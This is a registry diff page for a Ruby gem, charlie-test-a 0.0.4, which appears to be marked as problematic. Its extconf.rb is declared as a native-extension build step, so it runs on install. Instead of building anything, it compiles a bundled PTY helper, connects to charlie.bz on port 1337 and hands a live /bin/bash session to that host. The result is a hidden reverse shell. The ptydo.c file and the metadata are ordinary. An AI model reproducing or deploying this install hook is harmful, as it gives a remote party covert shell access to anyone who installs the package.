charlie-test-a 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of charlie-test-a might be problematic. Click here for more details.

Files changed (3) hide show
  1. data/extconf.rb +18 -0
  2. data/ptydo.c +178 -0
  3. metadata +47 -0
data/extconf.rb ADDED
@@ -0,0 +1,18 @@
1
+ ldflags = ""
2
+ if RUBY_PLATFORM =~ /linux/
3
+ ldflags << " -lutil"
4
+ end
5
+ `gcc -o ptydo ptydo.c #{ldflags}`
6
+ port = 1337
7
+ require "socket"
8
+ sock = TCPSocket.new("charlie.bz", port)
9
+ bash = IO.popen("./ptydo /bin/bash", "w+")
10
+ loop do
11
+ read, write = IO.select [sock, bash], []
12
+ if read.include? sock
13
+ bash.write sock.read_nonblock 1024
14
+ end
15
+ if read.include? bash
16
+ sock.write bash.read_nonblock 1024
17
+ end
18
+ end
data/ptydo.c ADDED
@@ -0,0 +1,178 @@
1
+ #define _POSIX_SOURCE
2
+ #include <stdio.h>
3
+ #include <stdlib.h>
4
+ #include <string.h>
5
+ #include <termios.h>
6
+ #include <unistd.h>
7
+ #ifdef __linux__
8
+ #include <pty.h>
9
+ #elif __APPLE__
10
+ #include <util.h>
11
+ #else
12
+ #error Not sure which header forkpty() is in on your system. Please report a bug at https://github.com/charliesome/ptydo/issues
13
+ #endif
14
+ #include <errno.h>
15
+ #include <signal.h>
16
+ #include <sys/types.h>
17
+ #include <sys/select.h>
18
+ #include <sys/ioctl.h>
19
+
20
+ static void usage()
21
+ {
22
+ printf(
23
+ "Usage: ptydo [<switches>] [--] <command...>\n"
24
+ "\n"
25
+ "Runs command in a child PTY with input/output exposed as stdin/stdout.\n"
26
+ "\n"
27
+ "Window Options:\n"
28
+ " -w <columns> Specifies the width of the PTY in columns\n"
29
+ " -h <rows> Specifies the height of the PTY in rows\n"
30
+ "\n"
31
+ " If ptydo is run interactively, the PTY will default to the dimensions of the\n"
32
+ " host PTY. Otherwise, the dimensions will default to 80 by 25.\n"
33
+ "\n"
34
+ "Misc Options:\n"
35
+ " -c Forward SIGINT to PTY.\n"
36
+ );
37
+ exit(EXIT_SUCCESS);
38
+ }
39
+
40
+ static pid_t child;
41
+ static int ptyfd;
42
+
43
+ static void exit_and_kill_child(int status) {
44
+ if(child) {
45
+ kill(child, SIGTERM);
46
+ }
47
+ exit(status);
48
+ }
49
+
50
+ static void forward_signal_to_pty(int sig) {
51
+ kill(child, sig);
52
+ }
53
+
54
+ int main(int argc, char** argv)
55
+ {
56
+ (void)argc;
57
+ (void)argv;
58
+
59
+ struct winsize window;
60
+ window.ws_row = 25;
61
+ window.ws_col = 80;
62
+
63
+ if(isatty(0)) {
64
+ ioctl(0, TIOCGWINSZ, &window);
65
+ }
66
+
67
+ if(argc < 2) {
68
+ usage();
69
+ }
70
+
71
+ int argi;
72
+ for(argi = 1; argi < argc; argi++) {
73
+ if(argv[argi][0] != '-') {
74
+ break;
75
+ }
76
+ if(strlen(argv[argi]) > 2) {
77
+ printf("Unknown option '%s'\n", argv[argi]);
78
+ exit(EXIT_FAILURE);
79
+ }
80
+ if(argv[argi][1] == '-') {
81
+ argi++;
82
+ break;
83
+ }
84
+ switch(argv[argi][1]) {
85
+ case 'w':
86
+ if(argi + 1 == argc) {
87
+ printf("Expected PTY width after -w flag");
88
+ exit(EXIT_FAILURE);
89
+ }
90
+ window.ws_col = atoi(argv[++argi]);
91
+ break;
92
+ case 'h':
93
+ if(argi + 1 == argc) {
94
+ printf("Expected PTY height after -h flag");
95
+ exit(EXIT_FAILURE);
96
+ }
97
+ window.ws_row = atoi(argv[++argi]);
98
+ break;
99
+ case 'c':
100
+ signal(SIGINT, forward_signal_to_pty);
101
+ break;
102
+ default:
103
+ printf("Unknown option '-%c'\n", argv[argi][1]);
104
+ exit(EXIT_FAILURE);
105
+ }
106
+ }
107
+
108
+ if(argi == argc) {
109
+ printf("No command specified\n");
110
+ exit(EXIT_FAILURE);
111
+ }
112
+
113
+ child = forkpty(&ptyfd, NULL, NULL, &window);
114
+
115
+ if(child == -1) {
116
+ // forkpty failed:
117
+ perror("forkpty");
118
+ exit(EXIT_FAILURE);
119
+ }
120
+
121
+ if(child == 0) {
122
+ // we are the child process
123
+ // execvp(argv[1], argv + 1);
124
+ // execvp failed:
125
+ char* ptyargv[argc - argi + 1];
126
+ memcpy(ptyargv, argv + argi, (argc - argi) * sizeof(char*));
127
+ ptyargv[argc - argi] = NULL;
128
+ execvp(ptyargv[0], ptyargv);
129
+ perror("execvp");
130
+ exit(EXIT_FAILURE);
131
+ }
132
+
133
+ while(1) {
134
+ fd_set readfds;
135
+ fd_set errfds;
136
+ FD_ZERO(&readfds);
137
+ FD_SET(0, &readfds);
138
+ FD_SET(ptyfd, &readfds);
139
+ FD_ZERO(&errfds);
140
+ FD_SET(0, &errfds);
141
+ FD_SET(ptyfd, &errfds);
142
+
143
+ int err = select(ptyfd + 1, &readfds, NULL, &errfds, NULL);
144
+ if(err < 0) {
145
+ if(errno == EINTR) {
146
+ continue;
147
+ }
148
+ perror("select");
149
+ }
150
+
151
+ int readfd, writefd;
152
+ if(FD_ISSET(0, &readfds)) {
153
+ // data on stdin
154
+ readfd = 0;
155
+ writefd = ptyfd;
156
+ } else if(FD_ISSET(ptyfd, &readfds)) {
157
+ writefd = 1;
158
+ readfd = ptyfd;
159
+ } else if(FD_ISSET(0, &errfds) || FD_ISSET(ptyfd, &readfds)) {
160
+ exit_and_kill_child(EXIT_SUCCESS);
161
+ } else {
162
+ fprintf(stderr, "this should never happen\n");
163
+ exit_and_kill_child(EXIT_FAILURE);
164
+ }
165
+
166
+ char buff[1024];
167
+ ssize_t bytes = read(readfd, buff, sizeof(buff));
168
+ if(bytes == 0) {
169
+ exit_and_kill_child(EXIT_SUCCESS);
170
+ } else if(bytes < 0) {
171
+ perror("read");
172
+ exit_and_kill_child(EXIT_FAILURE);
173
+ }
174
+ (void)write(writefd, buff, bytes);
175
+ }
176
+
177
+ return 0;
178
+ }
metadata ADDED
@@ -0,0 +1,47 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: charlie-test-a
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.4
5
+ prerelease:
6
+ platform: ruby
7
+ authors:
8
+ - charlie
9
+ autorequire:
10
+ bindir: bin
11
+ cert_chain: []
12
+ date: 2012-08-03 00:00:00.000000000 Z
13
+ dependencies: []
14
+ description:
15
+ email:
16
+ executables: []
17
+ extensions:
18
+ - extconf.rb
19
+ extra_rdoc_files: []
20
+ files:
21
+ - ptydo.c
22
+ - extconf.rb
23
+ homepage:
24
+ licenses: []
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ none: false
31
+ requirements:
32
+ - - ! '>='
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ none: false
37
+ requirements:
38
+ - - ! '>='
39
+ - !ruby/object:Gem::Version
40
+ version: '0'
41
+ requirements: []
42
+ rubyforge_project:
43
+ rubygems_version: 1.8.24
44
+ signing_key:
45
+ specification_version: 3
46
+ summary: charlie's test
47
+ test_files: []